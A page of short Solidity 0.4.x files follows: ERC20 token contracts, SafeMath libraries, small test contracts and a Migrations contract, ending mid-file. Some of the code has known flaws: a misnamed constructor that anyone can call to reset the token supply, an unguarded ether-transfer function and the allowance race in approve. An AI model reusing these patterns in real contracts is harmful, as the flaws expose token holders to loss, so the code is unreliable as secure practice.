| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| revert(); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| /** | |
| * @title SafeMath | |
| * @dev Math operations with safety checks that throw on error | |
| */ | |
| library SafeMath { | |
| /** | |
| * @dev Multiplies two numbers, throws on overflow. | |
| */ | |
| function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { | |
| // Gas optimization: this is cheaper than asserting 'a' not being zero, but the | |
| // benefit is lost if 'b' is also tested. | |
| // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 | |
| if (a == 0) { | |
| return 0; | |
| } | |
| c = a * b; | |
| assert(c / a == b); | |
| return c; | |
| } | |
| /** | |
| * @dev Integer division of two numbers, truncating the quotient. | |
| */ | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| // uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return a / b; | |
| } | |
| /** | |
| * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). | |
| */ | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| /** | |
| * @dev Adds two numbers, throws on overflow. | |
| */ | |
| function add(uint256 a, uint256 b) internal pure returns (uint256 c) { | |
| c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.21; | |
| import "./BasicToken.sol"; | |
| import "./ERC20.sol"; | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implementation of the basic standard token. | |
| * @dev https://github.com/ethereum/EIPs/issues/20 | |
| * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol | |
| */ | |
| contract StandardToken is ERC20, BasicToken { | |
| mapping (address => mapping (address => uint256)) internal allowed; | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[_from]); | |
| require(_value <= allowed[_from][msg.sender]); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
| emit Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * | |
| * Beware that changing an allowance with this method brings the risk that someone may use both the old | |
| * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
| * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
| * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| allowed[msg.sender][_spender] = _value; | |
| emit Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public view returns (uint256) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /** | |
| * @dev Increase the amount of tokens that an owner allowed to a spender. | |
| * | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| * @param _spender The address which will spend the funds. | |
| * @param _addedValue The amount of tokens to increase the allowance by. | |
| */ | |
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| /** | |
| * @dev Decrease the amount of tokens that an owner allowed to a spender. | |
| * | |
| * approve should be called when allowed[_spender] == 0. To decrement | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| * @param _spender The address which will spend the funds. | |
| * @param _subtractedValue The amount of tokens to decrease the allowance by. | |
| */ | |
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| contract test { | |
| function test1(uint a, uint b) returns(uint,uint) { | |
| uint c = a / b; | |
| uint d = a % b; | |
| return (c,d); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| // ---------------------------------------------------------------------------- | |
| // Symbol : nmt | |
| // Name : nmt | |
| // Total supply: 580000000.000000 | |
| // Decimals : 6 | |
| // ---------------------------------------------------------------------------- | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| function Owned() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract Token is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public _totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| function Token() public { | |
| symbol = "nmt"; | |
| name = "nmt"; | |
| decimals = 6; | |
| _totalSupply = 580000000 * 10**uint(decimals); | |
| balances[owner] = _totalSupply; | |
| Transfer(address(0), owner, _totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return _totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function transfer_err(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| revert(); | |
| Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function transfereth(uint eths) public returns (bool success) { | |
| owner.transfer(eths); | |
| return true; | |
| } | |
| function testErrorCase() public { | |
| revert(); | |
| } | |
| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.0; | |
| contract SimpleAuction { | |
| event aNewHigherBid(address bidder, uint amount); | |
| function bid(uint bidValue) external { | |
| aNewHigherBid(msg.sender, msg.value); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract AccessControlled { | |
| address public owner = msg.sender; | |
| /** | |
| * @dev Throws if called by any account other than the argument. | |
| */ | |
| modifier onlyBy(address _account) | |
| { | |
| require(msg.sender == _account); | |
| _; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than either of the two arguments. | |
| */ | |
| modifier onlyByOr(address _account1, address _account2) | |
| { | |
| require(msg.sender == _account1 || msg.sender == _account2); | |
| _; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| } | |
| contract Migrations { | |
| address public owner; | |
| uint public last_completed_migration; | |
| modifier restricted() { | |
| if (msg.sender == owner) _; | |
| } | |
| function Migrations() { | |
| owner = msg.sender; | |
| } | |
| function setCompleted(uint completed) restricted { | |
| last_completed_migration = completed; | |
| } | |
| function upgrade(address new_address) restricted { | |
| Migrations upgraded = Migrations(new_address); | |
| upgraded.setCompleted(last_completed_migration); | |
| } | |
| } | |
| library SafeMath { | |
| function mul(uint256 a, uint256 b) internal constant returns (uint256) { | |
| uint256 c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint256 a, uint256 b) internal constant returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint256 a, uint256 b) internal constant returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint256 a, uint256 b) internal constant returns (uint256) { | |
| uint256 c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } | |
| contract Token is AccessControlled { | |
| using SafeMath for uint256; | |
| string public constant name = "TarynToken"; | |
| string public constant symbol = "TA"; | |
| uint8 public constant decimals = 18; | |
| uint256 public constant INITIAL_SUPPLY = 0; | |
| uint256 public totalSupply; | |
| mapping(address => uint256) balances; | |
| mapping(uint256 => address) public addresses; | |
| mapping(address => uint256) public indexes; | |
| //index starts at 1 so that first item has index of 1, which differentiates | |
| //it from non-existing items with values of 0. | |
| uint public index = 1; | |
| /** | |
| * @dev Contructor that gives msg.sender all of existing tokens. | |
| */ | |
| function TarynToken() public { | |
| totalSupply = INITIAL_SUPPLY; | |
| } | |
| event Mint(address indexed to, uint256 amount); | |
| function mint(address _to, uint256 _amount) onlyOwner public returns (bool){ | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| addToAddresses(_to); | |
| Mint(_to, _amount); | |
| return true; | |
| } | |
| function addToAddresses(address _address) private { | |
| if (indexes[_address] == 0) { | |
| addresses[index] = _address; | |
| indexes[_address] = index; | |
| index++; | |
| } | |
| } | |
| event Distribute(address owner, uint256 balance, uint256 value, uint ind); | |
| function distribute() payable public returns(bool){ | |
| for (uint i = 1; i < index; i++) { | |
| uint256 balance = balances[addresses[i]]; | |
| uint256 giveAmount = balance.mul(msg.value).div(totalSupply); | |
| Distribute(addresses[i], balance, giveAmount, i); | |
| addresses[i].transfer(giveAmount); | |
| } | |
| return true; | |
| } | |
| function isRegistered(address _address) private constant returns (bool) { | |
| return (indexes[_address] != 0); | |
| } | |
| // Basics | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| Transfer(msg.sender, _to, _value); | |
| addToAddresses(_to); | |
| return true; | |
| } | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public constant returns (uint256 balance) { | |
| return balances[_owner]; | |
| } | |
| // Allowances | |
| mapping (address => mapping (address => uint256)) allowed; | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| var _allowance = allowed[_from][msg.sender]; | |
| // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met | |
| // require (_value <= _allowance); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = _allowance.sub(_value); | |
| Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| // To change the approve amount you first have to reduce the addresses` | |
| // allowance to zero by calling `approve(_spender, 0)` if it is not | |
| // already 0 to mitigate the race condition described here: | |
| // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| require((_value == 0) || (allowed[msg.sender][_spender] == 0)); | |
| allowed[msg.sender][_spender] = _value; | |
| Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /* | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| */ | |
| function increaseApproval (address _spender, uint _addedValue) | |
| public | |
| returns (bool success) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| function decreaseApproval (address _spender, uint _subtractedValue) | |
| public | |
| returns (bool success) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| event Approval(address indexed owner, address indexed spender, uint256 value); | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| address public adminer; | |
| address public newOwner; | |
| address public newAdminer; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| constructor() public { | |
| owner = msg.sender; | |
| adminer = address(0x0); | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| modifier onlyAdminer { | |
| require(msg.sender == owner || msg.sender == adminer); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0x0); | |
| } | |
| function setAdminer(address _newAdminer) public onlyOwner { | |
| require(_newAdminer != address(0x0)); | |
| newAdminer = _newAdminer; | |
| } | |
| function acceptAdminer() public { | |
| require(msg.sender == newAdminer); | |
| adminer = newAdminer; | |
| newAdminer = address(0x0); | |
| } | |
| } | |
| contract Token is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| constructor(string _name, string _symbol, uint _supply, uint8 _decimals) public { | |
| symbol = _symbol; | |
| name = _name; | |
| decimals = _decimals; | |
| totalSupply = _supply * 10**uint(_decimals); | |
| balances[owner] = totalSupply; | |
| emit Transfer(address(0), owner, totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| emit Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| emit Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| emit Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| emit Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| revert(); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| function withdraw(address _to, uint256 _amount) onlyOwner public returns(bool) { | |
| require(balances[address(this)] > _amount); | |
| balances[address(this)] = balances[address(this)].sub(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| owner = _newOwner; | |
| } | |
| } | |
| contract Token is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| constructor(string _name, string _symbol, uint _supply, uint8 _decimals) public { | |
| symbol = _symbol; | |
| name = _name; | |
| decimals = _decimals; | |
| totalSupply = _supply * 10**uint(_decimals); | |
| balances[owner] = totalSupply; | |
| emit Transfer(address(0), owner, totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| emit Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
| function approve(address spender, uint tokens) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| emit Approval(msg.sender, spender, tokens); | |
| return true; | |
| } | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success) { | |
| balances[from] = balances[from].sub(tokens); | |
| allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| emit Transfer(from, to, tokens); | |
| return true; | |
| } | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { | |
| return allowed[tokenOwner][spender]; | |
| } | |
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { | |
| allowed[msg.sender][spender] = tokens; | |
| emit Approval(msg.sender, spender, tokens); | |
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); | |
| return true; | |
| } | |
| function () public payable { | |
| revert(); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20Interface(tokenAddress).transfer(owner, tokens); | |
| } | |
| function withdraw(address _to, uint256 _amount) onlyOwner public returns(bool) { | |
| require(balances[address(this)] > _amount); | |
| balances[address(this)] = balances[address(this)].sub(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| /** | |
| * @title Ownable | |
| * @dev The Ownable contract has an owner address, and provides basic authorization control | |
| * functions, this simplifies the implementation of user permissions. | |
| */ | |
| contract Ownable { | |
| address public owner; | |
| event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| */ | |
| function transferOwnership(address newOwner) public onlyOwner { | |
| require(newOwner != address(0)); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| } | |
| } | |
| /** | |
| * @title SafeMath | |
| * @dev Math operations with safety checks that throw on error | |
| */ | |
| library SafeMath { | |
| function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
| if (a == 0) { | |
| return 0; | |
| } | |
| uint256 c = a * b; | |
| assert(c / a == b); | |
| return c; | |
| } | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
| uint256 c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| */ | |
| contract ERC20Basic { | |
| uint256 public totalSupply; | |
| function balanceOf(address who) public returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| } | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint256; | |
| mapping(address => uint256) balances; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[msg.sender]); | |
| // SafeMath.sub will throw if there is not enough balance. | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| emit Transfer(msg.sender, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public returns (uint256 balance) { | |
| return balances[_owner]; | |
| } | |
| } | |
| /** | |
| * @title ERC20 interface | |
| */ | |
